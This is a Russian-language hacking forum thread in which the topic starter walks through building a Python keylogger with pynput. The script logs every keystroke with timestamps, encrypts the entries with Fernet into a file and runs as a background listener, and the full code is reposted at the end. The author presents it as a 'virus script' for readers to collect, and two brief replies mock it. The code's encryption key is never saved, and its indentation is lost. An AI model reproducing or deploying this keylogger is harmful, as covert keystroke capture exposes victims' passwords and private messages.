Загрузка...

Python keylogger: how to create simple monitoring with data protection

Thread in Virology created by Nick26rus Nov 2, 2024. (bumped Dec 16, 2024) 813 views

  1. Nick26rus
    Nick26rus Topic starter Nov 2, 2024 4 Nov 26, 2019
    Приветствую вас, мои хацкеро-ламмеры! Сегодня мы разберем, как создать простой кейлоггер на Python. Этот код регистрирует нажатия клавиш, записывает их в файл с временными метками и шифрует каждую запись для защиты данных.

    Установка необходимых библиотек
    Для создания кейлоггера нам потребуются три основные библиотеки:

    • pynput — для отслеживания нажатий клавиш;
    • datetime — для добавления временных меток к каждой записи;
    • cryptography.fernet — для шифрования данных, что позволяет хранить логфайл в недоступном для посторонних виде.
    Убедитесь, что все библиотеки установлены, выполнив команду:
    Code
    pip install pynput cryptography
    Пошаговая реализация
    1. Импорт библиотек
    Python
    from pynput import keyboard
    from datetime import datetime
    from cryptography.fernet import Fernet
    Эти строки подключают необходимые модули: keyboard из pynput для отслеживания нажатий клавиш, datetime для временных меток и Fernet из cryptography для шифрования записей.

    2. Создание класса KeyLogger

    Python
    class KeyLogger():
    def __init__(self, filename: str = "keylogs.txt") -> None:
    self.filename = filename
    # Генерация ключа для шифрования
    self.key = Fernet.generate_key()
    self.cipher = Fernet(self.key)
    Конструктор класса KeyLogger включает:
    • filename — имя файла для хранения зашифрованных записей;
    • self.key — ключ шифрования, созданный методом Fernet.generate_key();
    • self.cipher — инициализированный шифр для шифрования данных.
    3. Метод get_char
    [
    Python
    @staticmethod
    def get_char(key):
    if key == keyboard.Key.enter:
    return '\n'
    elif key == keyboard.Key.tab:
    return ' ' # четыре пробела
    elif key == keyboard.Key.space:
    return ' '
    try:
    return key.char
    except AttributeError:
    return str(key)
    Метод get_char преобразует нажатия клавиш в строковые значения для логирования:
    Enter, Tab и Space записываются как символы новой строки, табуляции и пробела;
    Если клавиша не имеет атрибута char, метод возвращает её строковое представление.
    4. Метод on_press

    Python
    def on_press(self, key):
    time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    log_entry = f"{time} - {self.get_char(key)}\n"
    print(log_entry.strip())
    # Шифрование перед записью
    encrypted_log = self.cipher.encrypt(log_entry.encode())
    with open(self.filename, 'a') as ****:
    ****.write(encrypted_log.decode() + "\n")
    Метод on_press выполняет следующие действия:
    • Получает текущее время и создает запись log_entry с временной меткой и символом нажатой клавиши;
    • Шифрует запись методом self.cipher.encrypt;
    • Сохраняет зашифрованную запись в keylogs.txt.
    5. Метод on_release
    Python
    def on_release(self, key):
    print(f'Released: {key}')
    Этот метод срабатывает при отпускании клавиши и выводит сообщение об отпускании, но не сохраняет это событие в лог.

    6. Метод main

    Python
    def main(self):
    listener = keyboard.Listener(
    on_press=self.on_press,
    on_release=self.on_release,
    )
    listener.start()
    Метод запускает keyboard.Listener, который отслеживает события нажатия и отпускания клавиш. on_press фиксирует нажатие, а on_release — отпускание, работая в фоновом режиме, не блокируя основную программу.

    7. Основной движок

    Python
    if __name__ == '__main__':
    logger = KeyLogger()
    logger.main()
    input()
    Этот блок создает экземпляр KeyLogger, запускает его метод main и удерживает программу в ожидании ввода, чтобы она не завершалась сразу.

    Запуск программы:

    • Сохраните код в файл, например app.py.
    • Убедитесь, что установили необходимые библиотеки.
    • Запустите скрипт.
    Code
    python app.py
    Теперь программа будет отслеживать нажатия клавиш и записывать их в зашифрованный файл keylogs.txt.

    Python
    from pynput import keyboard
    from datetime import datetime
    from cryptography.fernet import Fernet

    class KeyLogger():
    def __init__(self, filename: str = "keylogs.txt") -> None:
    self.filename = filename
    # Генерация ключа для шифрования
    self.key = Fernet.generate_key()
    self.cipher = Fernet(self.key)

    @staticmethod
    def get_char(key):
    if key == keyboard.Key.enter:
    return '\n'
    elif key == keyboard.Key.tab:
    return ' ' # четыре пробела
    elif key == keyboard.Key.space:
    return ' '
    try:
    return key.char
    except AttributeError:
    return str(key)

    def on_press(self, key):
    time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    log_entry = f"{time} - {self.get_char(key)}\n"
    print(log_entry.strip())
    # Шифрование перед записью
    encrypted_log = self.cipher.encrypt(log_entry.encode())
    with open(self.filename, 'a') as ****:
    ****.write(encrypted_log.decode() + "\n") # Добавляем новую строку после шифрования

    def on_release(self, key):
    print(f'Released: {key}')

    def main(self):
    listener = keyboard.Listener(
    on_press=self.on_press,
    on_release=self.on_release,
    )
    listener.start()


    if __name__ == '__main__':
    logger = KeyLogger()
    logger.main()
    input()

    Что-же, теперь в нашу библиотеку простеньких вирусо-скриптов на питоне - пополнение. Ставьте симпатии и я продолжу с интересными "скриптами" на питоне. Удачи :cow:
     
  2. N0th1ngExtra
    N0th1ngExtra Nov 2, 2024 neverwillrise 3443 Feb 17, 2022
    Doklsi оцени, мамкин хацкер
     
  3. idslash
    idslash Jan 15, 2025 0 Jan 15, 2025
    бредятина какая-то)
     
Loading...
Top